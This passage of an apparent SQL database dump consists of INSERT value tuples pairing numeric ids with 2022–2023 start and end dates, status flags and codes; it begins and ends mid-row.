06',1,'4',45,1),(8942,194,12795,'2022-05-24','2022-06-08',1,'2',45,1),(8943,189,12796,'2022-05-24','2022-06-06',1,'2',45,1),(8944,1780,12797,'2022-05-24','2022-09-19',1,'2',971,1),(8945,1664,12794,'2022-05-25','2022-06-23',1,'2',277,1),(8946,1665,12788,'2022-05-25','2022-06-23',1,'2',277,1),(8947,193,12798,'2022-05-25','2022-06-06',0,'4',45,1),(8948,195,12786,'2022-05-28','2022-06-03',1,'2',45,1),(8949,195,12804,'2022-06-01','2022-06-13',1,'2',45,1),(8950,195,12807,'2022-06-03','2022-06-28',1,'2',45,1),(8951,161,12799,'2022-06-04','2022-06-16',1,'2',73,1),(8952,189,12798,'2022-06-07','2022-06-07',1,'2',45,1),(8953,1732,12791,'2022-06-14','2022-08-30',1,'2',667,1),(8954,1456,12295,'2022-06-14','2022-11-02',1,'2',667,1),(8955,1594,12820,'2022-06-20','2022-08-19',1,'2',277,1),(8956,188,12823,'2022-06-21',NULL,0,NULL,45,1),(8957,1675,12822,'2022-06-22','2022-12-28',1,'2',86,1),(8958,194,12827,'2022-06-22','2022-07-13',1,'2',45,1),(8959,1661,12825,'2022-06-23','2022-08-18',1,'2',277,1),(8960,1675,12832,'2022-06-24','2022-06-24',0,'2',86,1),(8961,1675,12831,'2022-06-24','2022-06-24',0,'2',86,1),(8962,1675,12829,'2022-06-24','2022-06-24',0,'2',86,1),(8963,1782,12833,'2022-06-25','2022-07-26',0,'4',971,1),(8964,1667,12830,'2022-06-25','2022-08-19',1,'2',277,1),(8965,1732,12811,'2022-06-28','2022-08-30',1,'2',667,1),(8966,221,12812,'2022-06-28','2022-09-01',1,'2',85,1),(8967,222,12671,'2022-06-28','2022-08-04',1,NULL,85,1),(8968,1708,11620,'2022-06-28','2023-01-31',1,'4',639,1),(8969,1750,12826,'2022-06-28','2023-02-07',1,'2',996,1),(8970,1779,12819,'2022-06-28','2022-07-26',1,'2',975,1),(8971,1410,12818,'2022-06-28','2022-08-02',1,NULL,975,1),(8972,1779,12803,'2022-06-28','2022-06-30',0,'4',975,1),(8973,1779,12781,'2022-06-28','2022-08-02',1,'2',975,1),(8974,1410,12398,'2022-06-28','2023-11-13',0,'2',975,1),(8975,1779,12370,'2022-06-28','2022-06-30',0,'4',975,1),(8976,359,12815,'2022-06-28','2022-07-29',0,'2',251,1),(8977,359,12814,'2022-06-28','2022-07-29',0,'2',251,1),(8978,1674,12662,'2022-06-28','2022-09-24',1,'2',251,1),(8979,359,12316,'2022-06-28','2022-07-08',0,'4',251,1),(8980,358,12242,'2022-06-28','2022-07-29',1,'2',251,1),(8981,633,11598,'2022-06-28','2023-01-17',1,'2',639,1),(8982,1708,11440,'2022-06-28','2022-06-29',0,'4',639,1),(8983,634,10975,'2022-06-28','2022-08-09',0,'2',639,1),(8984,1068,12562,'2022-06-29','2022-07-20',1,'2',326,1),(8985,190,12836,'2022-07-01','2022-08-17',1,'2',45,1),(8986,190,12835,'2022-07-01','2022-08-02',1,'2',45,1),(8987,190,12834,'2022-07-01','2022-07-15',1,'2',45,1),(8988,1069,12837,'2022-07-01',NULL,0,NULL,326,1),(8989,1750,12503,'2022-07-01','2023-02-07',1,'2',996,1),(8990,1749,12502,'2022-07-01','2022-08-29',1,'2',996,1),(8991,1749,12501,'2022-07-01','2022-07-29',1,'2',996,1),(8992,1750,12500,'2022-07-01','2023-02-07',1,'2',996,1),(8993,1749,12499,'2022-07-01','2022-08-30',1,'2',996,1),(8994,1675,12845,'2022-07-06','2022-07-06',0,'2',86,1),(8995,1675,12844,'2022-07-06','2022-07-06',0,'2',86,1),(8996,1675,12843,'2022-07-06','2022-07-06',0,'2',86,1),(8997,161,12842,'2022-07-06','2022-07-07',1,'2',73,1),(8998,193,12840,'2022-07-07','2022-08-03',1,'2',45,1),(8999,193,12848,'2022-07-13','2022-08-19',1,'2',45,1),(9000,191,12850,'2022-07-18','2022-09-20',1,'2',45,1),(9001,160,12856,'2022-07-19','2022-09-19',1,'2',73,1),(9002,161,12858,'2022-07-19','2022-09-21',1,'2',73,1),(9003,162,12859,'2022-07-19','2022-07-30',1,'2',73,1),(9004,160,12861,'2022-07-19','2022-09-21',1,'2',73,1),(9005,1668,12851,'2022-07-19','2022-08-19',1,'2',277,1),(9006,1666,12853,'2022-07-19','2022-09-07',1,'2',277,1),(9007,1664,12863,'2022-07-20','2022-09-07',1,'2',277,1),(9008,1779,12862,'2022-07-20','2022-08-02',1,'2',975,1),(9009,1410,12838,'2022-07-20','2022-08-02',1,'2',975,1),(9010,1324,12860,'2022-07-20','2022-12-05',1,'2',959,1),(9011,192,12867,'2022-07-25','2022-09-21',1,'2',45,1),(9012,1732,12841,'2022-07-26','2022-08-11',1,NULL,667,1),(9013,1779,12870,'2022-07-27','2022-08-02',1,'2',975,1),(9014,1452,12865,'2022-07-28','2022-08-16',1,'2',91,1),(9015,1782,12871,'2022-08-01','2022-09-19',1,'2',971,1),(9016,1782,12873,'2022-08-01','2022-09-08',1,'2',971,1),(9017,1783,12868,'2022-08-02','2022-11-14',1,'2',975,1),(9018,1410,12885,'2022-08-02','2022-08-03',1,'2',975,1),(9019,1783,12883,'2022-08-02','2022-11-14',1,'2',975,1),(9020,1779,12869,'2022-08-02','2022-08-02',1,'2',975,1),(9021,1780,12895,'2022-08-03','2022-11-14',1,'2',971,1),(9022,1781,12892,'2022-08-03','2022-08-16',1,'2',91,1),(9023,1705,12884,'2022-08-03','2022-08-16',1,'2',91,1),(9024,222,12877,'2022-08-03','2022-08-04',1,NULL,85,1),(9025,222,12876,'2022-08-03','2022-08-04',1,NULL,85,1),(9026,221,12875,'2022-08-03','2022-08-04',1,NULL,85,1),(9027,221,12874,'2022-08-03','2022-08-04',1,NULL,85,1),(9028,222,12872,'2022-08-03','2022-08-04',1,NULL,85,1),(9029,1783,12899,'2022-08-08','2022-08-08',0,'2',975,1),(9030,1456,12882,'2022-08-09','2022-08-19',1,'2',667,1),(9031,1370,12880,'2022-08-09','2022-08-19',1,'2',667,1),(9032,1456,12881,'2022-08-09','2022-08-19',1,'2',667,1),(9033,1456,12879,'2022-08-09','2022-08-19',1,'2',667,1),(9034,1732,12878,'2022-08-09','2022-08-11',1,NULL,667,1),(9035,1708,12900,'2022-08-09','2023-01-31',1,'2',639,1),(9036,1675,12901,'2022-08-09','2022-08-24',1,'4',86,1),(9037,359,12897,'2022-08-10','2022-08-11',0,'2',251,1),(9038,357,12898,'2022-08-10','2022-08-10',0,'2',251,1),(9039,1779,12911,'2022-08-11','2022-08-22',1,'2',975,1),(9040,1779,12907,'2022-08-11','2022-08-22',1,'2',975,1),(9041,1783,12905,'2022-08-11','2022-08-25',1,'2',975,1),(9042,192,12912,'2022-08-16','2022-09-22',1,'2',45,1),(9043,1367,12916,'2022-08-16','2022-08-18',1,'2',959,1),(9044,1310,12917,'2022-08-16','2022-08-18',1,'2',959,1),(9045,1784,12921,'2022-08-16','2022-08-18',1,'2',959,1),(9046,1324,12920,'2022-08-16','2022-08-18',1,'2',959,1),(9047,1783,12918,'2022-08-16','2022-08-22',1,'2',975,1),(9048,1779,12919,'2022-08-16','2022-08-25',1,'2',975,1),(9049,193,12923,'2022-08-16','2022-09-26',1,'2',45,1),(9050,359,12910,'2022-08-17','2022-08-26',0,'2',251,1),(9051,1740,12914,'2022-08-17','2022-08-25',1,'2',1020,1),(9052,1740,12913,'2022-08-17','2022-08-25',1,'2',1020,1),(9053,1740,12904,'2022-08-17','2022-08-25',1,'2',1020,1),(9054,1779,12924,'2022-08-18','2022-09-13',1,'2',975,1),(9055,1410,12926,'2022-08-18','2022-09-09',0,'4',975,1),(9056,1785,12922,'2022-08-18','2022-08-18',1,'2',959,1),(9057,1068,12906,'2022-08-18','2022-10-31',1,'2',326,1),(9058,1067,12929,'2022-08-18','2022-08-19',0,'2',326,1),(9059,358,12925,'2022-08-19','2022-09-24',1,'2',251,1),(9060,358,12930,'2022-08-19','2022-09-24',1,'2',251,1),(9061,1675,12951,'2022-08-20','2022-08-20',0,'2',86,1),(9062,1675,12950,'2022-08-20','2022-08-20',0,'2',86,1),(9063,1675,12949,'2022-08-20','2022-08-20',0,'2',86,1),(9064,1675,12948,'2022-08-20','2022-08-20',0,'2',86,1),(9065,1675,12946,'2022-08-20','2022-08-20',0,'2',86,1),(9066,1452,12932,'2022-08-20','2022-08-22',1,'2',91,1),(9067,1245,12938,'2022-08-20','2022-08-22',1,'2',91,1),(9068,1245,12936,'2022-08-20','2022-08-22',1,'2',91,1),(9069,1069,12935,'2022-08-20','2022-08-23',0,'2',326,1),(9070,1452,12955,'2022-08-20','2022-08-22',1,'2',91,1),(9071,1245,12933,'2022-08-20','2022-08-22',1,'2',91,1),(9072,1012,12956,'2022-08-23','2022-08-23',1,'2',91,1),(9073,193,12958,'2022-08-23','2022-10-17',1,'2',45,1),(9074,1012,12941,'2022-08-23','2022-08-23',1,'2',91,1),(9075,1785,12954,'2022-08-23','2022-08-30',1,'2',959,1),(9076,1784,12953,'2022-08-23','2022-08-30',1,'2',959,1),(9077,1367,12947,'2022-08-23','2022-08-30',1,'2',959,1),(9078,1786,12944,'2022-08-23','2022-08-30',1,'2',959,1),(9079,1675,12986,'2022-08-24','2022-08-24',0,'2',86,1),(9080,1675,12985,'2022-08-24','2022-08-24',0,'2',86,1),(9081,1675,12984,'2022-08-24','2022-08-24',0,'2',86,1),(9082,1675,12982,'2022-08-24','2022-08-24',0,'2',86,1),(9083,1782,12939,'2022-08-24','2022-09-08',1,'2',971,1),(9084,1654,12940,'2022-08-24','2022-09-08',1,'2',971,1),(9085,1456,12970,'2022-08-25','2022-08-26',1,'2',667,1),(9086,160,12977,'2022-08-25','2022-09-21',1,'2',73,1),(9087,160,12989,'2022-08-25','2022-08-25',0,'2',73,1),(9088,161,12994,'2022-08-25','2022-08-25',0,'2',73,1),(9089,194,12964,'2022-08-26','2022-10-17',1,'2',45,1),(9090,1788,12965,'2022-09-23','2022-11-08',0,'2',73,1),(9091,1456,12968,'2022-08-27','2022-08-30',1,'2',667,1),(9092,1749,12979,'2022-08-29','2022-09-02',1,'2',996,1),(9093,1749,12972,'2022-08-29','2022-09-05',1,'2',996,1),(9094,1708,12978,'2022-08-29','2023-01-31',1,'2',639,1),(9095,634,12974,'2022-08-29','2022-09-05',0,'2',639,1),(9096,633,12973,'2022-08-29','2023-01-17',1,'2',639,1),(9097,1779,12987,'2022-08-29','2022-09-13',1,'2',975,1),(9098,1783,13000,'2022-08-29','2022-09-13',1,'2',975,1),(9099,161,13004,'2022-08-29','2022-08-29',0,'2',73,1),(9100,161,13005,'2022-08-29','2022-08-29',0,'2',73,1),(9101,162,13008,'2022-08-29','2022-09-22',1,'2',73,1),(9102,1452,13006,'2022-08-30','2022-08-30',1,'2',91,1),(9103,1067,12998,'2022-08-30','2022-09-01',0,'2',326,1),(9104,1069,12993,'2022-08-30','2022-09-01',0,'2',326,1),(9105,222,13007,'2022-08-30','2022-11-01',1,'2',85,1),(9106,222,13003,'2022-08-30','2022-09-01',1,'2',85,1),(9107,222,13002,'2022-08-30','2022-09-01',1,'2',85,1),(9108,359,12988,'2022-08-30','2022-09-07',0,'2',251,1),(9109,357,12981,'2022-08-30','2022-09-22',0,'2',251,1),(9110,358,12983,'2022-08-30','2022-09-24',1,'2',251,1),(9111,1784,13012,'2022-08-30','2022-08-30',1,'2',959,1),(9112,1456,13013,'2022-08-30','2022-10-13',1,'2',667,1),(9113,1456,13011,'2022-08-30','2022-08-30',1,'2',667,1),(9114,1732,13010,'2022-08-30','2022-08-30',1,'2',667,1),(9115,1452,12997,'2022-08-30','2022-08-30',1,'2',91,1),(9116,1068,12995,'2022-08-30','2022-11-09',1,'1',326,1),(9117,1740,12991,'2022-09-01','2022-09-01',1,'2',1020,1),(9118,1740,12990,'2022-09-01','2022-09-01',1,'2',1020,1),(9119,1452,13018,'2022-09-02','2022-09-02',1,'2',91,1),(9120,221,13014,'2022-09-02','2022-09-02',1,'2',85,1),(9121,222,13016,'2022-09-02','2022-09-02',1,'2',85,1),(9122,1779,13020,'2022-09-02','2022-10-26',1,'2',975,1),(9123,1452,13022,'2022-09-03','2022-09-03',1,'2',91,1),(9124,1779,13019,'2022-09-03','2022-10-26',1,'2',975,1),(9125,1410,13021,'2022-09-03','2022-10-25',0,'4',975,1),(9126,1668,13037,'2022-09-06','2022-09-27',1,'2',277,1),(9127,222,13036,'2022-09-06','2022-09-14',1,'2',85,1),(9128,221,13026,'2022-09-06','2022-09-14',1,'2',85,1),(9129,222,13025,'2022-09-06','2022-09-14',1,'2',85,1),(9130,222,13024,'2022-09-06','2022-09-14',1,'2',85,1),(9131,222,13023,'2022-09-06','2022-09-14',1,'2',85,1),(9132,1750,13035,'2022-09-07','2023-02-07',1,'2',996,1),(9133,359,13034,'2022-09-07','2022-09-08',0,'2',251,1),(9134,358,13032,'2022-09-07','2022-09-24',1,'2',251,1),(9135,1069,13027,'2022-09-07','2022-09-08',0,'2',326,1),(9136,1068,0,'2022-09-07',NULL,0,NULL,326,1),(9137,1068,13029,'2022-09-07','2022-09-08',1,'2',326,1),(9138,1067,13031,'2022-09-07','2022-09-09',0,'2',326,1),(9139,1786,13033,'2022-09-07','2022-09-12',1,'2',959,1),(9140,1785,13030,'2022-09-07','2022-09-12',1,'2',959,1),(9141,1784,13028,'2022-09-07','2022-09-12',1,'2',959,1),(9142,1367,13017,'2022-09-07','2022-09-12',1,'2',959,1),(9143,1324,13015,'2022-09-07','2022-09-12',1,'2',959,1),(9144,1783,13038,'2022-09-08','2022-09-19',1,'2',975,1),(9145,1786,13047,'2022-09-08','2022-11-21',1,'2',959,1),(9146,193,13040,'2022-09-09','2022-10-17',1,'2',45,1),(9147,1787,13051,'2022-09-09','2022-12-06',0,'2',959,1),(9148,222,13046,'2022-09-12','2022-11-01',1,'2',85,1),(9149,634,13053,'2022-09-12','2022-09-13',0,'2',639,1),(9150,193,13052,'2022-09-13','2022-09-19',1,'2',45,1),(9151,358,13057,'2022-09-13','2022-09-24',1,'2',251,1),(9152,1674,13054,'2022-09-13','2022-09-24',1,'2',251,1),(9153,1370,13045,'2022-09-14','2022-09-16',1,'2',667,1),(9154,1456,13044,'2022-09-14','2022-09-16',1,'2',667,1),(9155,1370,13043,'2022-09-14','2022-09-17',1,'2',667,1),(9156,1456,13042,'2022-09-14','2022-09-16',1,'2',667,1),(9157,1456,13041,'2022-09-14','2022-09-16',1,'2',667,1),(9158,160,13048,'2022-09-14','2022-09-24',1,'2',73,1),(9159,161,13049,'2022-09-14','2022-09-26',1,'2',73,1),(9160,1779,13059,'2022-09-15','2022-09-19',1,'2',975,1),(9161,192,13062,'2022-09-15','2022-10-18',1,'2',45,1),(9162,633,13061,'2022-09-15','2023-01-17',1,'2',639,1),(9163,1456,13066,'2022-09-16','2022-12-05',1,'2',667,1),(9164,1068,13060,'2022-09-16','2022-10-31',1,'2',326,1),(9165,1750,13058,'2022-09-16','2023-02-07',1,'2',996,1),(9166,634,13063,'2022-09-17','2022-11-10',1,'2',639,1),(9167,193,13067,'2022-09-19','2022-11-10',1,'2',45,1),(9168,634,13070,'2022-09-19','2022-11-10',1,'2',639,1),(9169,1675,13069,'2022-09-20','2022-11-04',1,'2',86,1),(9170,1069,13068,'2022-09-20','2022-09-20',0,'2',326,1),(9171,358,13065,'2022-09-21','2022-09-24',1,'2',251,1),(9172,1070,13073,'2022-09-21','2022-09-23',0,'2',326,1),(9173,1068,13072,'2022-09-21','2023-12-07',1,'2',326,1),(9174,1452,13071,'2022-09-22','2022-09-22',1,'2',91,1),(9175,1067,13074,'2022-09-23','2022-09-24',0,'2',326,1),(9176,190,13076,'2022-09-23','2022-11-24',1,'2',45,1),(9177,1788,13077,'2022-09-23','2022-09-23',0,'2',73,1),(9178,160,13078,'2022-09-23','2022-09-23',0,'2',73,1),(9179,161,13079,'2022-09-23','2022-09-23',0,'2',73,1),(9180,162,13080,'2022-09-23','2022-09-23',0,'2',73,1),(9181,160,13081,'2022-09-23','2022-09-23',0,'2',73,1),(9182,1594,13075,'2022-09-23','2022-10-26',1,'2',277,1),(9183,1068,12908,'2022-09-24','2022-11-08',0,'2',326,1),(9184,1780,13082,'2022-09-26','2022-10-21',1,'2',971,1),(9185,160,13085,'2022-09-26','2022-09-27',0,'2',73,1),(9186,161,13086,'2022-09-26','2022-09-27',0,'2',73,1),(9187,160,13087,'2022-09-26','2022-09-27',0,'2',73,1),(9188,357,13084,'2022-09-26','2022-09-27',0,'2',251,1),(9189,1069,13089,'2022-09-27','2022-09-27',0,'2',326,1),(9190,1069,13088,'2022-09-27','2022-09-27',0,'2',326,1),(9191,358,13083,'2022-09-30','2022-11-05',0,'2',251,1),(9192,222,13094,'2022-09-30','2022-10-03',1,'2',85,1),(9193,222,13093,'2022-09-30','2022-10-03',1,'2',85,1),(9194,222,13092,'2022-09-30','2022-10-03',1,'2',85,1),(9195,221,13091,'2022-09-30','2022-10-03',1,'2',85,1),(9196,222,13090,'2022-09-30','2022-10-03',1,'2',85,1),(9197,1456,13100,'2022-10-01','2022-10-06',1,'2',667,1),(9198,1456,13099,'2022-10-01','2022-10-06',1,'2',667,1),(9199,1456,13098,'2022-10-01','2022-10-06',1,'2',667,1),(9200,1732,13097,'2022-10-01','2022-10-06',1,'2',667,1),(9201,1732,13096,'2022-10-01','2022-10-06',1,'2',667,1),(9202,162,13102,'2022-10-04','2022-10-20',1,'2',73,1),(9203,1786,13105,'2022-10-06','2022-10-06',1,'2',959,1),(9204,1068,13109,'2022-10-06','2022-11-01',1,'2',326,1),(9205,1786,13107,'2022-10-06','2022-10-06',1,'2',959,1),(9206,1070,0,'2022-10-06',NULL,0,NULL,326,1),(9207,1068,13108,'2022-10-06','2022-10-22',1,'2',326,1),(9208,1785,13106,'2022-10-06','2022-10-06',1,'2',959,1),(9209,1784,13104,'2022-10-06','2022-10-06',1,'2',959,1),(9210,1324,13103,'2022-10-06','2022-10-06',1,'2',959,1),(9211,191,13095,'2022-10-06','2022-11-29',1,'2',45,1),(9212,1732,13101,'2022-10-06','2022-10-15',0,'2',667,1),(9213,1750,13114,'2022-10-10','2023-02-07',1,'2',996,1),(9214,1067,13113,'2022-10-10','2022-11-05',0,'2',326,1),(9215,1069,13112,'2022-10-10','2022-11-05',0,'2',326,1),(9216,1070,13111,'2022-10-10','2022-11-30',0,'2',326,1),(9217,192,13116,'2022-10-10','2022-12-14',1,'2',45,1),(9218,194,13117,'2022-10-12','2022-10-31',1,'2',45,1),(9219,194,13119,'2022-10-20','2022-11-30',1,'2',45,1),(9220,191,13120,'2022-10-17','2022-12-14',1,'2',45,1),(9221,193,13121,'2022-10-18','2022-10-31',1,'2',45,1),(9222,1783,12852,'2022-10-19','2022-11-14',0,'2',975,1),(9223,359,13124,'2022-10-19','2022-11-14',1,'2',251,1),(9224,1367,13126,'2022-10-19','2023-01-25',0,'2',959,1),(9225,192,13123,'2022-10-20','2022-11-25',1,'2',45,1),(9226,1439,13125,'2022-10-21','2022-12-20',1,'2',86,1),(9227,221,13128,'2022-10-21','2022-11-01',1,'2',85,1),(9228,221,13127,'2022-10-21','2022-11-01',1,'2',85,1),(9229,1439,13132,'2022-10-27','2022-10-27',1,'2',86,1),(9230,358,13137,'2022-10-29','2022-11-02',0,'2',251,1),(9231,1674,13135,'2022-10-29','2022-11-02',0,'2',251,1),(9232,1070,13142,'2022-11-04','2023-01-25',1,'2',326,1),(9233,1068,13139,'2022-10-29','2022-11-05',1,'2',326,1),(9234,1749,13141,'2022-10-31','2023-03-27',1,'2',996,1),(9235,1749,13140,'2022-10-31','2023-03-27',1,'2',996,1),(9236,634,13134,'2022-10-31','2023-01-17',1,'2',639,1),(9237,1740,13146,'2022-10-31','2022-11-15',0,'2',1020,1),(9238,1740,13147,'2022-11-01','2022-11-15',0,'2',1020,1),(9239,1779,13145,'2022-11-02','2022-11-02',1,'2',975,1),(9240,1410,13144,'2022-11-02','2022-11-02',1,'2',975,1),(9241,1779,13143,'2022-11-02','2022-11-02',1,'2',975,1),(9242,1456,13153,'2022-11-03','2022-12-05',1,'2',667,1),(9243,1456,13152,'2022-11-03','2022-11-03',1,'2',667,1),(9244,1456,13151,'2022-11-03','2022-11-03',1,'2',667,1),(9245,1456,13150,'2022-11-03','2022-11-03',1,'2',667,1),(9246,1452,13133,'2022-11-03','2022-11-10',0,'2',91,1),(9247,1452,13131,'2022-11-03','2022-11-17',1,'2',91,1),(9248,1452,13130,'2022-11-03','2022-11-17',1,'2',91,1),(9249,1574,12573,'2022-11-03','2022-11-03',0,'2',86,1),(9250,161,12712,'2022-11-03','2022-11-03',0,'2',73,1),(9251,160,12770,'2022-11-03','2022-11-03',0,'2',73,1),(9252,194,13149,'2022-11-04','2023-01-09',1,'2',45,1),(9253,1012,12787,'2022-11-04','2022-11-04',0,'2',91,1),(9254,1394,13154,'2022-11-05','2022-12-03',1,'2',86,1),(9255,1740,13159,'2022-11-05','2022-11-15',0,'2',1020,1),(9256,1740,13158,'2022-11-05','2022-11-15',0,'2',1020,1),(9257,1740,13156,'2022-11-05','2022-11-15',0,'2',1020,1),(9258,1410,12960,'2022-11-08','2023-03-14',0,'2',975,1),(9259,162,13001,'2022-11-08','2022-11-08',0,'2',73,1),(9260,358,13157,'2022-11-09','2022-11-11',0,'2',251,1),(9261,1011,13165,'2022-11-14','2022-11-15',1,'2',91,1),(9262,1594,13163,'2022-11-14','2022-11-26',1,'2',277,1),(9263,1669,13162,'2022-11-14','2022-11-26',1,'2',277,1),(9264,160,13168,'2022-11-15','2022-12-06',1,'2',73,1),(9265,1732,13155,'2022-11-17','2022-12-05',0,'2',667,1),(9266,194,13160,'2022-11-18','2023-01-10',1,'2',45,1),(9267,194,13164,'2022-11-18','2022-11-25',1,'2',45,1),(9268,1012,13169,'2022-11-18','2022-11-18',1,'2',91,1),(9269,194,13174,'2022-11-19','2023-01-11',1,'2',45,1),(9270,1705,13173,'2022-11-21','2022-11-21',1,'2',91,1),(9271,1394,13178,'2022-11-21','2022-11-21',1,'2',86,1),(9272,1394,13177,'2022-11-21','2022-11-21',1,'2',86,1),(9273,1394,13176,'2022-11-21','2022-11-21',1,'2',86,1),(9274,1394,13175,'2022-11-21','2022-11-21',1,NULL,86,1),(9275,1783,13183,'2022-11-23','2022-12-26',1,'2',975,1),(9276,1705,13181,'2022-11-23','2022-11-23',1,'2',91,1),(9277,1070,13189,'2022-11-25','2022-11-30',0,'2',326,1),(9278,1439,13196,'2022-11-25','2022-11-25',1,'2',86,1),(9279,1439,13195,'2022-11-25','2022-11-25',1,'2',86,1),(9280,1439,13194,'2022-11-25','2022-11-25',1,'2',86,1),(9281,1439,13193,'2022-11-25','2022-11-25',1,'2',86,1),(9282,1439,13192,'2022-11-25','2022-11-25',1,'2',86,1),(9283,1787,13179,'2022-11-25','2022-11-25',1,'2',959,1),(9284,1786,13180,'2022-11-25','2022-11-25',1,'2',959,1),(9285,1785,13185,'2022-11-25','2022-11-25',1,'2',959,1),(9286,1784,13186,'2022-11-25','2022-11-25',1,'2',959,1),(9287,1783,13190,'2022-11-25','2022-12-26',1,'2',975,1),(9288,1670,13167,'2022-11-25','2022-12-02',1,'2',277,1),(9289,1783,13187,'2022-11-26','2022-12-13',1,'2',975,1),(9290,1367,13188,'2022-11-26','2022-12-15',1,'2',959,1),(9291,358,13200,'2022-11-28','2022-12-01',0,'2',251,1),(9292,193,13208,'2022-11-28','2023-02-06',1,'2',45,1),(9293,194,13207,'2022-11-28','2022-12-09',1,'2',45,1),(9294,194,13206,'2022-11-28','2022-12-09',1,'2',45,1),(9295,1732,13198,'2022-11-28','2022-12-05',0,'2',667,1),(9296,1069,13199,'2022-11-29','2022-11-30',0,'2',326,1),(9297,1452,13201,'2022-11-29','2022-11-29',1,'2',91,1),(9298,1245,13203,'2022-11-29','2022-11-29',1,'2',91,1),(9299,1012,13202,'2022-11-29','2022-11-29',1,'2',91,1),(9300,358,13210,'2022-11-29','2022-12-01',0,'2',251,1),(9301,357,13209,'2022-11-29','2022-12-02',0,'2',251,1),(9302,1674,13205,'2022-11-29','2022-12-02',0,'2',251,1),(9303,359,13204,'2022-11-29','2022-12-02',0,'2',251,1),(9304,190,13213,'2022-11-29','2023-02-08',1,'2',45,1),(9305,1705,13215,'2022-11-30','2022-12-02',1,'2',91,1),(9306,194,13221,'2022-12-01','2022-12-14',1,'2',45,1),(9307,1788,13214,'2022-12-02','2022-12-16',1,'2',73,1),(9308,1788,13166,'2022-12-02','2022-12-02',1,'2',73,1),(9309,1782,13211,'2022-12-02','2022-12-13',1,'2',971,1),(9310,1782,13212,'2022-12-02','2022-12-13',1,'2',971,1),(9311,1666,13216,'2022-12-02','2022-12-13',1,'2',277,1),(9312,1666,13220,'2022-12-02','2022-12-13',1,'2',277,1),(9313,1666,13222,'2022-12-02','2022-12-13',1,'2',277,1),(9314,1666,13223,'2022-12-02','2022-12-13',1,'2',277,1),(9315,1666,13224,'2022-12-02','2022-12-13',1,'2',277,1),(9316,1068,13217,'2022-12-02','2022-12-05',0,'2',326,1),(9317,1068,13218,'2022-12-02','2022-12-05',0,'2',326,1),(9318,1732,13228,'2022-12-05','2022-12-05',0,'2',667,1),(9319,1452,13229,'2022-12-05','2022-12-14',1,'2',91,1),(9320,222,13251,'2022-12-06','2022-12-07',1,'2',85,1),(9321,222,13249,'2022-12-06','2022-12-07',1,'2',85,1),(9322,222,13247,'2022-12-06','2022-12-07',1,'2',85,1),(9323,222,13250,'2022-12-07','2022-12-07',1,'2',85,1),(9324,1370,13248,'2022-12-07','2022-12-16',1,'2',667,1),(9325,1666,13243,'2022-12-07','2022-12-13',0,'2',277,1),(9326,1666,13244,'2022-12-07','2022-12-13',0,'2',277,1),(9327,1675,13254,'2022-12-07','2022-12-08',1,'2',86,1),(9328,1675,13253,'2022-12-07','2022-12-08',1,'2',86,1),(9329,1675,13252,'2022-12-07','2022-12-08',1,'2',86,1),(9330,1675,13246,'2022-12-07','2022-12-08',1,'2',86,1),(9331,194,13255,'2022-12-09','2022-12-23',1,'2',45,1),(9332,1666,13261,'2022-12-13','2022-12-13',0,'2',277,1),(9333,1666,13262,'2022-12-13','2022-12-13',0,'2',277,1),(9334,1782,13284,'2022-12-14','2022-12-14',0,'2',971,1),(9335,1782,13285,'2022-12-14','2022-12-14',0,'2',971,1),(9336,1782,13286,'2022-12-14','2022-12-14',0,'2',971,1),(9337,1782,13296,'2022-12-14','2022-12-19',0,'2',971,1),(9338,1782,13299,'2022-12-14','2022-12-19',0,'2',971,1),(9339,1782,13300,'2022-12-14','2022-12-19',0,'2',971,1),(9340,1782,13301,'2022-12-14','2022-12-19',0,'2',971,1),(9341,1782,13307,'2022-12-14','2022-12-17',0,'2',971,1),(9342,1666,13263,'2022-12-14','2022-12-14',0,'2',277,1),(9343,1666,13266,'2022-12-14','2022-12-15',0,'2',277,1),(9344,1789,13267,'2022-12-14','2022-12-15',0,'2',277,1),(9345,1789,13271,'2022-12-14','2022-12-15',0,'2',277,1),(9346,1789,13272,'2022-12-14','2022-12-15',0,'2',277,1),(9347,1789,13273,'2022-12-14','2022-12-16',0,'2',277,1),(9348,1789,13275,'2022-12-14','2022-12-16',0,'2',277,1),(9349,1789,13276,'2022-12-14','2022-12-16',0,'2',277,1),(9350,1789,13278,'2022-12-14','2022-12-15',0,'2',277,1),(9351,1789,13279,'2022-12-14','2022-12-16',0,'2',277,1),(9352,1787,13260,'2022-12-15','2022-12-15',1,'2',959,1),(9353,1786,13258,'2022-12-15','2022-12-15',1,'2',959,1),(9354,1787,13257,'2022-12-15','2022-12-15',1,'2',959,1),(9355,1784,13256,'2022-12-15','2022-12-15',1,'2',959,1),(9356,1732,13292,'2022-12-15','2022-12-16',1,'2',667,1),(9357,1732,13281,'2022-12-15','2022-12-16',1,'2',667,1),(9358,1732,13280,'2022-12-15','2022-12-16',1,'2',667,1),(9359,1410,13295,'2022-12-15','2022-12-16',1,'2',975,1),(9360,1783,13291,'2022-12-15','2022-12-16',1,'2',975,1),(9361,1783,13290,'2022-12-15','2022-12-16',1,'2',975,1),(9362,1740,13289,'2022-12-15','2022-12-22',0,'2',1020,1),(9363,1740,13288,'2022-12-15','2022-12-22',0,'2',1020,1),(9364,1740,13287,'2022-12-15','2022-12-22',0,'2',1020,1),(9365,1410,13312,'2022-12-15','2022-12-16',1,'2',975,1),(9366,1783,13311,'2022-12-15','2022-12-16',1,'2',975,1),(9367,1740,13318,'2022-12-15','2022-12-19',0,'4',1020,1),(9368,1782,13313,'2022-12-16','2022-12-17',0,'2',971,1),(9369,1452,13293,'2022-12-16','2022-12-16',1,'2',91,1),(9370,1732,13317,'2022-12-16','2022-12-16',1,'2',667,1),(9371,1067,13304,'2022-12-16','2022-12-16',0,'2',326,1),(9372,222,13270,'2022-12-16','2022-12-24',1,'2',85,1),(9373,221,13268,'2022-12-16','2022-12-24',1,'2',85,1),(9374,221,13264,'2022-12-16','2022-12-24',1,'2',85,1),(9375,357,13320,'2022-12-17','2022-12-22',0,'2',251,1),(9376,358,13309,'2022-12-17','2022-12-22',0,'2',251,1),(9377,359,13308,'2022-12-17','2022-12-22',0,'2',251,1),(9378,1067,13319,'2022-12-17','2022-12-17',0,'2',326,1),(9379,1068,13305,'2022-12-17','2022-12-17',0,'2',326,1),(9380,1069,13303,'2022-12-17','2022-12-17',0,'2',326,1),(9381,1070,13302,'2022-12-17','2022-12-19',0,'2',326,1),(9382,1452,13325,'2022-12-17','2022-12-17',1,'2',91,1),(9383,1012,13315,'2022-12-17','2022-12-17',1,'2',91,1),(9384,1782,13298,'2022-12-17','2022-12-19',0,'2',971,1),(9385,1782,13321,'2022-12-17','2022-12-17',0,'2',971,1),(9386,1782,13323,'2022-12-